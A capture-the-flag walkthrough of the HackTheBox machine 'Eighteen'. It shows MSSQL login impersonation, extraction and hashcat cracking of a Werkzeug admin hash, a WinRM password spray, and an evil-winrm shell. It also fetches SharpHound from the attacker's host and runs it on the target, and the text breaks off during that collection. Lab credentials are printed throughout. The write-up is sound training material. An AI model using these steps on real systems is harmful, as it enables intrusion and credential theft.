HTB: Eighteen
Eighteen is a Windows Server 2025 assume-breach box starting with MSSQL credentials. I’ll use MSSQL login impersonation to access the financial planner database and recover a Werkzeug PBKDF2 hash for the web admin. After cracking the hash and spraying the password against domain users, I’ll get a WinRM shell. From there, I’ll identify that the domain is running at the Windows 2025 functional level and exploit Bad Successor, abusing the dMSA migration feature to create a delegated managed service account that inherits the Administrator’s group memberships, giving full domain admin access.
Box Info
Recon
Initial Scanning
nmap finds three open TCP ports, HTTP (80), MSSQL (1433), and WinRM (5985):
oxdf@hacky$ sudo nmap -p- -vvv --min-rate 10000 10.129.21.40
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-04-06 16:48 UTC
...[snip]...
Nmap scan report for 10.129.21.40
Host is up, received echo-reply ttl 127 (0.022s latency).
Scanned at 2026-04-06 16:48:19 UTC for 14s
Not shown: 65532 filtered tcp ports (no-response)
PORT STATE SERVICE REASON
80/tcp open http syn-ack ttl 127
1433/tcp open ms-sql-s syn-ack ttl 127
5985/tcp open wsman syn-ack ttl 127
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 13.40 seconds
Raw packets sent: 131081 (5.768MB) | Rcvd: 14 (600B)
oxdf@hacky$ sudo nmap -p 80,1433,5985 -sCV 10.129.21.40
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-04-06 16:48 UTC
Nmap scan report for 10.129.21.40
Host is up (0.022s latency).
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
|_http-title: Did not follow redirect to http://eighteen.htb/
|_http-server-header: Microsoft-IIS/10.0
1433/tcp open ms-sql-s Microsoft SQL Server 2022 16.00.1000.00; RC0+
|_ssl-date: 2026-04-06T23:49:15+00:00; +7h00m01s from scanner time.
|_ms-sql-info: ERROR: Script execution failed (use -d to debug)
|_ms-sql-ntlm-info: ERROR: Script execution failed (use -d to debug)
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2026-04-06T20:00:15
|_Not valid after: 2056-04-06T20:00:15
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: 7h00m00s
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.60 seconds
MSSQL and WinRM are both expected only on a Windows Client / Server.
The webserver is redirecting to eighteen.htb. I’ll bruteforce for subdomains that respond differently (ffuf -u http://10.129.21.40 -H "Host: FUZZ.eighteen.htb" -w /opt/SecLists/Discovery/DNS/subdomains-top1million-20000.txt -ac) but not find any. I’ll update my hosts file:
10.129.21.40 eighteen.htb
I’ll also re-scan with nmap using the hostname, but there’s nothing of note.
All of the ports show a TTL of 127, which matches the expected TTL for Windows one hop away.
nmap notes a clock skew. It doesn’t seem that UDP 123 is open, so I’ll need to find some other way than ntpdate to sync my clock with Eighteen before any actions that use Kerberos auth.
Initial Credentials
HackTheBox provides the following scenario associated with Eighteen:
As is common in real life Windows penetration tests, you will start the Eighteen box with credentials for the following account:
kevin / iNa2we6haRj2gaw!
There’s no LDAP or SMB to test. WinRM does not work:
oxdf@hacky$ netexec winrm eighteen.htb -u kevin -p 'iNa2we6haRj2gaw!'
WINRM 10.129.21.40 5985 DC01 Windows 11 / Server 2025 Build 26100 (name:DC01) (domain:eighteen.htb)
WINRM 10.129.21.40 5985 DC01 [-] eighteen.htb\kevin:iNa2we6haRj2gaw!
It doesn’t work as a domain account for MSSQL, but does work for a local MSSQL account:
oxdf@hacky$ netexec mssql eighteen.htb -u kevin -p 'iNa2we6haRj2gaw!'
MSSQL 10.129.21.40 1433 DC01 Windows 11 / Server 2025 Build 26100 (name:DC01) (domain:eighteen.htb)
MSSQL 10.129.21.40 1433 DC01 [-] eighteen.htb\kevin:iNa2we6haRj2gaw! (Login failed. The login is from an untrusted domain and cannot be used with Integrated authentication. Please try again with or without '--local-auth')
oxdf@hacky$ netexec mssql eighteen.htb -u kevin -p 'iNa2we6haRj2gaw!' --local-auth
MSSQL 10.129.21.40 1433 DC01 Windows 11 / Server 2025 Build 26100 (name:DC01) (domain:eighteen.htb)
MSSQL 10.129.21.40 1433 DC01 [+] DC01\kevin:iNa2we6haRj2gaw!
Given that, I’ll want to prioritize:
- HTTP
- MSSQL
Website - TCP 80
Site
The site is a personal finance website:
There’s a /features page that shows some features, as well as a login and registration page. The provided creds do not work to login. I’ll sign up for an account:
Once I register and login, it leads to /dashbard:
The link to “Admin” points to /admin, but going there just returns a redirect back to the dashboard:
Tech Stack
The HTTP response headers show only IIS:
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Vary: Cookie
Server: Microsoft-IIS/10.0
Date: Tue, 07 Apr 2026 02:39:34 GMT
Content-Length: 2253
The 404 page is the default Flask 404:
Directory Brute Force
I’ll run feroxbuster against the site:
oxdf@hacky$ feroxbuster -u http://eighteen.htb
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.11.0
───────────────────────────┬──────────────────────
🎯 Target Url │ http://eighteen.htb
🚀 Threads │ 50
📖 Wordlist │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
👌 Status Codes │ All Status Codes!
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.11.0
🔎 Extract Links │ true
🏁 HTTP methods │ [GET]
🔃 Recursion Depth │ 4
🎉 New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404 GET 5l 31w 207c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
302 GET 5l 22w 189c http://eighteen.htb/logout => http://eighteen.htb/
200 GET 66l 121w 1961c http://eighteen.htb/login
302 GET 5l 22w 199c http://eighteen.htb/admin => http://eighteen.htb/login
200 GET 76l 145w 2421c http://eighteen.htb/register
200 GET 74l 156w 2253c http://eighteen.htb/
200 GET 603l 1072w 9601c http://eighteen.htb/static/css/style.css
200 GET 88l 203w 2822c http://eighteen.htb/features
302 GET 5l 22w 199c http://eighteen.htb/dashboard => http://eighteen.htb/login
200 GET 74l 156w 2253c http://eighteen.htb/%E2%80%8E
200 GET 74l 156w 2253c http://eighteen.htb/%D7%99%D7%9D
200 GET 74l 156w 2253c http://eighteen.htb/%E9%99%A4%E6%8A%95%E7%A5%A8
200 GET 74l 156w 2253c http://eighteen.htb/%E9%99%A4%E5%80%99%E9%80%89
200 GET 74l 156w 2253c http://eighteen.htb/%E4%BE%B5%E6%9D%83
400 GET 6l 26w 324c http://eighteen.htb/error%1F_log
200 GET 74l 156w 2253c http://eighteen.htb/%E8%AE%A8%E8%AE%BA
200 GET 74l 156w 2253c http://eighteen.htb/%C4%BC
200 GET 74l 156w 2253c http://eighteen.htb/%CC%A8%C4%BC
200 GET 74l 156w 2253c http://eighteen.htb/%E7%89%B9%E6%AE%8A
200 GET 74l 156w 2253c http://eighteen.htb/%DD%BF%C4%BC
200 GET 74l 156w 2253c http://eighteen.htb/%C5%B1%C4%BC
200 GET 74l 156w 2253c http://eighteen.htb/%C4%A3%C4%BC
[####################] - 34s 30006/30006 0s found:21 errors:0
[####################] - 34s 30000/30000 895/s http://eighteen.htb/
Other than a bunch of stuff I’ve already interacted with, the only interesting thing is the URL-encoded paths.:
| Encoded URL | Decoded | Notes |
|---|---|---|
%E2%80%8E |
U+200E (Left-to-Right Mark) | Invisible Unicode control character |
%D7%99%D7%9D |
ים |
Hebrew characters (yod + mem) |
%E9%99%A4%E6%8A%95%E7%A5%A8 |
除投票 |
Chinese: “remove voting” |
%E9%99%A4%E5%80%99%E9%80%89 |
除候选 |
Chinese: “remove candidate” |
%E4%BE%B5%E6%9D%83 |
侵权 |
Chinese: “infringement” |
%E8%AE%A8%E8%AE%BA |
讨论 |
Chinese: “discussion” |
%C4%BC |
ļ |
Latvian letter |
%CC%A8%C4%BC |
̨ļ |
Combining cedilla + ļ |
%E7%89%B9%E6%AE%8A |
特殊 |
Chinese: “special” |
%DD%BF%C4%BC |
ݿļ |
Arabic/Latvian chars |
%C5%B1%C4%BC |
űļ |
Hungarian/Latvian chars |
%C4%A3%C4%BC |
ģļ |
Latvian chars |
These all return 200 with the same response size (74l/156w/2253c) as the root /, meaning the app is treating any unrecognized path as equivalent to the homepage rather than returning a 404. These are just noise from the wordlist containing Unicode entries. Nothing actionable here.
MSSQL - TCP 1433
Basic Enumeration
I’ll connect to the database using mssqlclient.py:
oxdf@hacky$ mssqlclient.py eighteen.htb/kevin:'iNa2we6haRj2gaw!'@eighteen.htb
Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC01): Line 1: Changed database context to 'master'.
[*] INFO(DC01): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server 2022 RTM (16.0.1000)
[!] Press help for extra shell commands
SQL (kevin guest@master)>
I don’t have admin access, so I can’t run commands or enable xp_cmdshell:
SQL (kevin guest@master)> xp_cmdshell whoami
ERROR(DC01): Line 1: The EXECUTE permission was denied on the object 'xp_cmdshell', database 'mssqlsystemresource', schema 'sys'.
SQL (kevin guest@master)> enable_xp_cmdshell
ERROR(DC01): Line 105: User does not have permission to perform this action.
ERROR(DC01): Line 1: You do not have permission to run the RECONFIGURE statement.
ERROR(DC01): Line 105: User does not have permission to perform this action.
ERROR(DC01): Line 1: You do not have permission to run the RECONFIGURE statement.
There is one non-standard DB:
SQL (kevin guest@master)> enum_db
name is_trustworthy_on
----------------- -----------------
master 0
tempdb 0
model 0
msdb 1
financial_planner 0
kevin can’t access it:
SQL (kevin guest@master)> use financial_planner;
ERROR(DC01): Line 1: The server principal "kevin" is not able to access the database "financial_planner" under the current security context.
The users are the standard MSSQL users:
SQL (kevin guest@master)> enum_users;
UserName RoleName LoginName DefDBName DefSchemaName UserID SID
------------------ -------- --------- --------- ------------- ---------- -----
dbo db_owner sa master dbo b'1 ' b'01'
guest public NULL NULL guest b'2 ' b'00'
INFORMATION_SCHEMA public NULL NULL NULL b'3 ' NULL
sys public NULL NULL NULL b'4 ' NULL
SQL (kevin guest@master)> enum_logins;
name type_desc is_disabled sysadmin securityadmin serveradmin setupadmin processadmin diskadmin dbcreator bulkadmin
------ --------- ----------- -------- ------------- ----------- ---------- ------------ --------- --------- ---------
sa SQL_LOGIN 0 1 0 0 0 0 0 0 0
kevin SQL_LOGIN 0 0 0 0 0 0 0 0 0
appdev SQL_LOGIN 0 0 0 0 0 0 0 0 0
For logins, in addition to the default admin account, sa, and kevin, there’s appdev. This is likely the account that works with the web application, and therefore likely can access the database.
There is one server linked to this instance, DC01:
SQL (kevin guest@master)> enum_links
SRV_NAME SRV_PROVIDERNAME SRV_PRODUCT SRV_DATASOURCE SRV_PROVIDERSTRING SRV_LOCATION SRV_CAT
-------- ---------------- ----------- -------------- ------------------ ------------ -------
DC01 SQLNCLI SQL Server DC01 NULL NULL NULL
Linked Server Local Login Is Self Mapping Remote Login
------------- ----------- --------------- ------------
The server is configured to allow kevin to impersonate the appdev account:
SQL (kevin guest@master)> enum_impersonate
execute as database permission_name state_desc grantee grantor
---------- -------- --------------- ---------- ------- -------
b'LOGIN' b'' IMPERSONATE GRANT kevin appdev
This will be useful shortly.
User Enumeration
I can do a RID cycle attack through MSSQL. I walked through how to do this manually in HTB Signed. netexec will do it easily:
oxdf@hacky$ netexec mssql eighteen.htb -u kevin -p 'iNa2we6haRj2gaw!' --local-auth --rid-brute
MSSQL 10.129.21.40 1433 DC01 Windows 11 / Server 2025 Build 26100 (name:DC01) (domain:eighteen.htb)
MSSQL 10.129.21.40 1433 DC01 [+] DC01\kevin:iNa2we6haRj2gaw!
MSSQL 10.129.21.40 1433 DC01 498: EIGHTEEN\Enterprise Read-only Domain Controllers
MSSQL 10.129.21.40 1433 DC01 500: EIGHTEEN\Administrator
MSSQL 10.129.21.40 1433 DC01 501: EIGHTEEN\Guest
MSSQL 10.129.21.40 1433 DC01 502: EIGHTEEN\krbtgt
MSSQL 10.129.21.40 1433 DC01 512: EIGHTEEN\Domain Admins
MSSQL 10.129.21.40 1433 DC01 513: EIGHTEEN\Domain Users
MSSQL 10.129.21.40 1433 DC01 514: EIGHTEEN\Domain Guests
MSSQL 10.129.21.40 1433 DC01 515: EIGHTEEN\Domain Computers
MSSQL 10.129.21.40 1433 DC01 516: EIGHTEEN\Domain Controllers
MSSQL 10.129.21.40 1433 DC01 517: EIGHTEEN\Cert Publishers
MSSQL 10.129.21.40 1433 DC01 518: EIGHTEEN\Schema Admins
MSSQL 10.129.21.40 1433 DC01 519: EIGHTEEN\Enterprise Admins
MSSQL 10.129.21.40 1433 DC01 520: EIGHTEEN\Group Policy Creator Owners
MSSQL 10.129.21.40 1433 DC01 521: EIGHTEEN\Read-only Domain Controllers
MSSQL 10.129.21.40 1433 DC01 522: EIGHTEEN\Cloneable Domain Controllers
MSSQL 10.129.21.40 1433 DC01 525: EIGHTEEN\Protected Users
MSSQL 10.129.21.40 1433 DC01 526: EIGHTEEN\Key Admins
MSSQL 10.129.21.40 1433 DC01 527: EIGHTEEN\Enterprise Key Admins
MSSQL 10.129.21.40 1433 DC01 528: EIGHTEEN\Forest Trust Accounts
MSSQL 10.129.21.40 1433 DC01 529: EIGHTEEN\External Trust Accounts
MSSQL 10.129.21.40 1433 DC01 553: EIGHTEEN\RAS and IAS Servers
MSSQL 10.129.21.40 1433 DC01 571: EIGHTEEN\Allowed RODC Password Replication Group
MSSQL 10.129.21.40 1433 DC01 572: EIGHTEEN\Denied RODC Password Replication Group
MSSQL 10.129.21.40 1433 DC01 1000: EIGHTEEN\DC01$
MSSQL 10.129.21.40 1433 DC01 1101: EIGHTEEN\DnsAdmins
MSSQL 10.129.21.40 1433 DC01 1102: EIGHTEEN\DnsUpdateProxy
MSSQL 10.129.21.40 1433 DC01 1601: EIGHTEEN\mssqlsvc
MSSQL 10.129.21.40 1433 DC01 1602: EIGHTEEN\SQLServer2005SQLBrowserUser$DC01
MSSQL 10.129.21.40 1433 DC01 1603: EIGHTEEN\HR
MSSQL 10.129.21.40 1433 DC01 1604: EIGHTEEN\IT
MSSQL 10.129.21.40 1433 DC01 1605: EIGHTEEN\Finance
MSSQL 10.129.21.40 1433 DC01 1606: EIGHTEEN\jamie.dunn
MSSQL 10.129.21.40 1433 DC01 1607: EIGHTEEN\jane.smith
MSSQL 10.129.21.40 1433 DC01 1608: EIGHTEEN\alice.jones
MSSQL 10.129.21.40 1433 DC01 1609: EIGHTEEN\adam.scott
MSSQL 10.129.21.40 1433 DC01 1610: EIGHTEEN\bob.brown
MSSQL 10.129.21.40 1433 DC01 1611: EIGHTEEN\carol.white
MSSQL 10.129.21.40 1433 DC01 1612: EIGHTEEN\dave.green
It looks like the username structure is <first>.<last>. I’ll grab all of those into a file:
oxdf@hacky$ netexec mssql eighteen.htb -u kevin -p 'iNa2we6haRj2gaw!' --local-auth --rid-brute | grep -oP 'EIGHTEEN\\\w+\.\w+' | cut -d '\' -f2 | tee users
jamie.dunn
jane.smith
alice.jones
adam.scott
bob.brown
carol.white
dave.green
Shell as adam.scott
Site Admin Access
Recover admin Hash
I noted above that kevin could impersonate the appdev account. I’ll switch to that account:
SQL (kevin guest@master)> exec_as_login appdev
SQL (appdev appdev@master)>
This user can access financial_planner:
SQL (appdev appdev@master)> use financial_planner
ENVCHANGE(DATABASE): Old Value: master, New Value: financial_planner
INFO(DC01): Line 1: Changed database context to 'financial_planner'.
SQL (appdev appdev@financial_planner)>
I’ll get the tables in the current database:
SQL (appdev appdev@financial_planner)> SELECT name FROM sysobjects WHERE xtype='U';
name
-----------
users
incomes
expenses
allocations
analytics
visits
The most interesting is users:
SQL (appdev appdev@financial_planner)> select * from users;
id full_name username email password_hash is_admin created_at
---- --------- -------- ------------------ ------------------------------------------------------------------------------------------------------ -------- ----------
1002 admin admin admin@eighteen.htb pbkdf2:sha256:600000$AMtzteQIG7yAbZIa$0673ad90a0b4afb19d662336f0fce3a9edd0b7b19193717be28ce4d66c887133 1 2025-10-29 05:39:03
Crack Hash
The hash is not in the format hashcat expects. On its example hashes page there’s an example for mode 10900, PBKDF2-HMAC-SHA256:
sha256:1000:MTc3MTA0MTQwMjQxNzY=:PYjCU215Mi57AYPKva9j7mvF4Rc5bCnt
The format of that hash is <HMAC>:<iterations>:<salt base64>:<hash base64>. The hash in the database is a Werkzeug-generated hash. I showed reformatting this in HTB Instant using a Python script:
import base64
import codecs
import re
import sys
if len(sys.argv) != 2:
print(f'usage: {sys.argv[0]} <werkzeug hash file>')
print('Input file has Werkzeug hashes one per line')
sys.exit(1)
with open(sys.argv[1], 'r') as f:
hashes = f.readlines()
for h in hashes:
m = re.match(r'pbkdf2:sha256:(\d*)\$([^\$]*)\$(.*)', h)
iterations = m.group(1)
salt = m.group(2)
hashe = m.group(3)
print(f"sha256:{iterations}:{base64.b64encode(salt.encode()).decode()}:{base64.b64encode(codecs.decode(hashe,'hex')).decode()}")
I’ll use that same script here to reformat the hash:
oxdf@hacky$ uv run werkzeug_to_hashcat.py <( echo 'pbkdf2:sha256:600000$AMtzteQIG7yAbZIa$0673ad90a0b4afb19d662336f0fce3a9edd0b7b19193717be28ce4d66c887133' ) | tee admin.hash
sha256:600000:QU10enRlUUlHN3lBYlpJYQ==:BnOtkKC0r7GdZiM28Pzjqe3Qt7GRk3F74ozk1myIcTM=
The script takes a file with one hash per line. I’ll use process substitution to just echo that one hash into a temp file with the <() format.
I’ll pass admin.hash to hashcat, where it recognizes the format, and cracks the hash in about 25 seconds on my host:
$ hashcat admin.hash /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt
hashcat (v7.1.2) starting in autodetect mode
...[snip]...
Hash-mode was not specified with -m. Attempting to auto-detect hash mode.
The following mode was auto-detected as the only one matching your input hash:
10900 | PBKDF2-HMAC-SHA256 | Generic KDF
...[snip]...
sha256:600000:QU10enRlUUlHN3lBYlpJYQ==:BnOtkKC0r7GdZiM28Pzjqe3Qt7GRk3F74ozk1myIcTM=:iloveyou1
...[snip]...
Website Access
Logging into the website as admin with the password “iloveyou1” works:
I can now access the Admin page:
It shows the database is MSSQL on dc01.eighteen.htb, and that this app is called Flask Financial Planner v1.0. There’s nothing else interesting here.
WinRM
Password Spray
I’ve got a list of users from above and a password. I’ll spray it to see if any of the domain users reuse the same password as the website admin:
oxdf@hacky$ netexec winrm eighteen.htb -u users -p iloveyou1 --continue-on-success
WINRM 10.129.21.40 5985 DC01 Windows 11 / Server 2025 Build 26100 (name:DC01) (domain:eighteen.htb)
WINRM 10.129.21.40 5985 DC01 [-] eighteen.htb\jamie.dunn:iloveyou1
WINRM 10.129.21.40 5985 DC01 [-] eighteen.htb\jane.smith:iloveyou1
WINRM 10.129.21.40 5985 DC01 [-] eighteen.htb\alice.jones:iloveyou1
WINRM 10.129.21.40 5985 DC01 [+] eighteen.htb\adam.scott:iloveyou1 (Pwn3d!)
WINRM 10.129.21.40 5985 DC01 [-] eighteen.htb\bob.brown:iloveyou1
WINRM 10.129.21.40 5985 DC01 [-] eighteen.htb\carol.white:iloveyou1
WINRM 10.129.21.40 5985 DC01 [-] eighteen.htb\dave.green:iloveyou1
adam.scott shares that password and is in a group that allows WinRM access.
Shell
I’ll connect with evil-winrm-py:
oxdf@hacky$ evil-winrm-py -i eighteen.htb -u adam.scott -p iloveyou1
_ _ _
_____ _(_| |_____ __ _(_)_ _ _ _ _ __ ___ _ __ _ _
/ -_\ V | | |___\ V V | | ' \| '_| ' |___| '_ | || |
\___|\_/|_|_| \_/\_/|_|_||_|_| |_|_|_| | .__/\_, |
|_| |__/ v1.5.0
[*] Connecting to 'eighteen.htb:5985' as 'adam.scott'
evil-winrm-py PS C:\Users\adam.scott\Documents>
And grab user.txt:
evil-winrm-py PS C:\Users\adam.scott\Desktop> cat user.txt
fcebc703************************
Shell as root
Enumeration
Host
Other than user.txt, adam.scott’s home directory is empty:
evil-winrm-py PS C:\Users\adam.scott> tree /f .
Folder PATH listing
Volume serial number is E154-392A
C:\USERS\ADAM.SCOTT
+---Desktop
¦ user.txt
¦
+---Documents
+---Downloads
+---Favorites
+---Links
+---Music
+---Pictures
+---Saved Games
+---Videos
There are the standard Public and Administrator home directories, and also mssqlsvc:
evil-winrm-py PS C:\Users> ls
Directory: C:\Users
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 9/13/2025 12:55 AM adam.scott
d----- 11/10/2025 2:15 PM Administrator
d----- 11/11/2025 9:36 AM mssqlsvc
d-r--- 3/23/2025 8:38 PM Public
It’s unusual in the real world (and to a lesser degree the HTB world) to see a service account with a home directory. This means that the account has logged in interactively at some point. Service accounts like MSSQL typically run as NT SERVICE\MSSQLSERVER or a managed service account and don’t get user profiles.
The website is run from C:\inetpub\eighteen.htb:
evil-winrm-py PS C:\inetpub\eighteen.htb> ls
Directory: C:\inetpub\eighteen.htb
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 10/27/2025 1:12 PM static
d----- 11/8/2025 6:29 AM templates
-a---- 11/8/2025 6:49 AM 10646 app.py
-a---- 10/27/2025 1:15 PM 57 requirements.txt
-a---- 11/10/2025 12:18 PM 611 web.config
app.py has all the Flask routes, plus the config for connecting to the database:
DB_CONFIG = {
'server': 'dc01.eighteen.htb',
'database': 'financial_planner',
'username': 'appdev',
'password': 'MissThisElite$90',
'driver': '{ODBC Driver 17 for SQL Server}',
'TrustServerCertificate': 'True'
}
I’ve already had full access to the database. Nothing else super interesting here.
I’ll try to get OS information with systeminfo, but it fails for permissions issues. Get-ComputerInfo works:
evil-winrm-py PS C:\> Get-ComputerInfo
WindowsBuildLabEx : 26100.1.amd64fre.ge_release.240331-1435
WindowsCurrentVersion : 6.3
WindowsEditionId : ServerDatacenter
WindowsInstallationType : Server Core
WindowsInstallDateFromRegistry : 3/24/2025 3:38:13 AM
WindowsProductId : 00491-60000-17651-AA131
WindowsProductName : Windows Server 2025 Datacenter
WindowsRegisteredOrganization :
WindowsRegisteredOwner :
WindowsSystemRoot : C:\WINDOWS
WindowsVersion : 2009
OSDisplayVersion : 24H2
BiosCharacteristics :
BiosBIOSVersion :
BiosBuildNumber :
BiosCaption :
BiosCodeSet :
BiosCurrentLanguage :
BiosDescription :
BiosEmbeddedControllerMajorVersion :
BiosEmbeddedControllerMinorVersion :
BiosFirmwareType :
BiosIdentificationCode :
BiosInstallableLanguages :
BiosInstallDate :
BiosLanguageEdition :
BiosListOfLanguages :
BiosManufacturer :
BiosName :
BiosOtherTargetOS :
BiosPrimaryBIOS :
BiosReleaseDate :
BiosSeralNumber :
BiosSMBIOSBIOSVersion :
BiosSMBIOSMajorVersion :
BiosSMBIOSMinorVersion :
BiosSMBIOSPresent :
BiosSoftwareElementState :
BiosStatus :
BiosSystemBiosMajorVersion :
BiosSystemBiosMinorVersion :
BiosTargetOperatingSystem :
BiosVersion :
CsAdminPasswordStatus :
CsAutomaticManagedPagefile :
CsAutomaticResetBootOption :
CsAutomaticResetCapability :
CsBootOptionOnLimit :
CsBootOptionOnWatchDog :
CsBootROMSupported :
CsBootStatus :
CsBootupState :
CsCaption :
CsChassisBootupState :
CsChassisSKUNumber :
CsCurrentTimeZone :
CsDaylightInEffect :
CsDescription :
CsDNSHostName :
CsDomain :
CsDomainRole :
CsEnableDaylightSavingsTime :
CsFrontPanelResetStatus :
CsHypervisorPresent :
CsInfraredSupported :
CsInitialLoadInfo :
CsInstallDate :
CsKeyboardPasswordStatus :
CsLastLoadInfo :
CsManufacturer :
CsModel :
CsName :
CsNetworkAdapters :
CsNetworkServerModeEnabled :
CsNumberOfLogicalProcessors :
CsNumberOfProcessors :
CsProcessors :
CsOEMStringArray :
CsPartOfDomain :
CsPauseAfterReset :
CsPCSystemType :
CsPCSystemTypeEx :
CsPowerManagementCapabilities :
CsPowerManagementSupported :
CsPowerOnPasswordStatus :
CsPowerState :
CsPowerSupplyState :
CsPrimaryOwnerContact :
CsPrimaryOwnerName :
CsResetCapability :
CsResetCount :
CsResetLimit :
CsRoles :
CsStatus :
CsSupportContactDescription :
CsSystemFamily :
CsSystemSKUNumber :
CsSystemType :
CsThermalState :
CsTotalPhysicalMemory :
CsPhyicallyInstalledMemory :
CsUserName :
CsWakeUpType :
CsWorkgroup :
OsName :
OsType :
OsOperatingSystemSKU :
OsVersion :
OsCSDVersion :
OsBuildNumber :
OsHotFixes :
OsBootDevice :
OsSystemDevice :
OsSystemDirectory :
OsSystemDrive :
OsWindowsDirectory :
OsCountryCode :
OsCurrentTimeZone :
OsLocaleID :
OsLocale :
OsLocalDateTime :
OsLastBootUpTime :
OsUptime :
OsBuildType :
OsCodeSet :
OsDataExecutionPreventionAvailable :
OsDataExecutionPrevention32BitApplications :
OsDataExecutionPreventionDrivers :
OsDataExecutionPreventionSupportPolicy :
OsDebug :
OsDistributed :
OsEncryptionLevel :
OsForegroundApplicationBoost :
OsTotalVisibleMemorySize :
OsFreePhysicalMemory :
OsTotalVirtualMemorySize :
OsFreeVirtualMemory :
OsInUseVirtualMemory :
OsTotalSwapSpaceSize :
OsSizeStoredInPagingFiles :
OsFreeSpaceInPagingFiles :
OsPagingFiles :
OsHardwareAbstractionLayer :
OsInstallDate :
OsManufacturer :
OsMaxNumberOfProcesses :
OsMaxProcessMemorySize :
OsMuiLanguages :
OsNumberOfLicensedUsers :
OsNumberOfProcesses :
OsNumberOfUsers :
OsOrganization :
OsArchitecture :
OsLanguage :
OsProductSuites :
OsOtherTypeDescription :
OsPAEEnabled :
OsPortableOperatingSystem :
OsPrimary :
OsProductType :
OsRegisteredUser :
OsSerialNumber :
OsServicePackMajorVersion :
OsServicePackMinorVersion :
OsStatus :
OsSuites :
OsServerLevel : ServerCore
KeyboardLayout :
TimeZone : (UTC-08:00) Pacific Time (US & Canada)
LogonServer :
PowerPlatformRole : Desktop
HyperVisorPresent :
HyperVRequirementDataExecutionPreventionAvailable :
HyperVRequirementSecondLevelAddressTranslation :
HyperVRequirementVirtualizationFirmwareEnabled :
HyperVRequirementVMMonitorModeExtensions :
DeviceGuardSmartStatus : Off
DeviceGuardRequiredSecurityProperties :
DeviceGuardAvailableSecurityProperties :
DeviceGuardSecurityServicesConfigured :
DeviceGuardSecurityServicesRunning :
DeviceGuardCodeIntegrityPolicyEnforcementStatus :
DeviceGuardUserModeCodeIntegrityPolicyEnforcementStatus :
The most interesting thing here is Windows Server 2025 Datacenter, running 24H2. That’s a very new OS, one not typically seen in the wild much yet (especially at the time of Eighteen’s release).
Active Directory
I’ll grab a copy of SharpHound.exe from the BloodHound-CE Docker, upload it to Eighteen, and run it:
evil-winrm-py PS C:\programdata> wget http://10.10.14.61/SharpHound.exe -outfile sh.exe
evil-winrm-py PS C:\programdata> .\sh.exe -c all
2026-04-08T21:29:20.4954961-07:00|INFORMATION|This version of SharpHound is compatible with the 5.0.0 Release of BloodHound
2026-04-08T21:29:20.6978229-07:00|INFORMATION|Resolved Collection Methods: Group, LocalAdmin, GPOLocalGroup, Session, LoggedOn, Trusts, ACL, Container, RDP, ObjectProps, DCOM, SPNTargets, PSRemote, UserRights, CARegistry, DCRegistry, CertServices, LdapServices, WebClientService, SmbInfo, NTLMRegistry
2026-04-08T21:29:20.7463509-07:00|INFORMATION|Initializing SharpHound at 9:29 PM on 4/8/2026
2026-04-08T21:29:20.9056006-07:00|INFORMATION|Resolved current domain to eighteen.htb
2026-04-08T21:29:32.2257883-07:00|INFORMATION|Flags: Group, LocalAdmin, GPOLocalGroup, Session, LoggedOn, Trusts, ACL, Container, RDP, ObjectProps, DCOM, SPNTargets, PSRemote, UserRights, CARegistry, DCRegistry, CertServices, LdapServices, WebClientService, SmbInfo, NTLMRegistry
2026-04-08T21:29:32.3529066-07:00|INFORMATION|Beginning LDAP search for eighteen.htb
2026-04-08T21:29:32.5552238-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:32.5552238-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:32.5592428-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:32.5750573-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:32.5750573-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:32.5770674-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:32.5888660-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:32.5908777-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:32.5986566-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:32.6026769-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:32.6066952-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:32.6087047-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
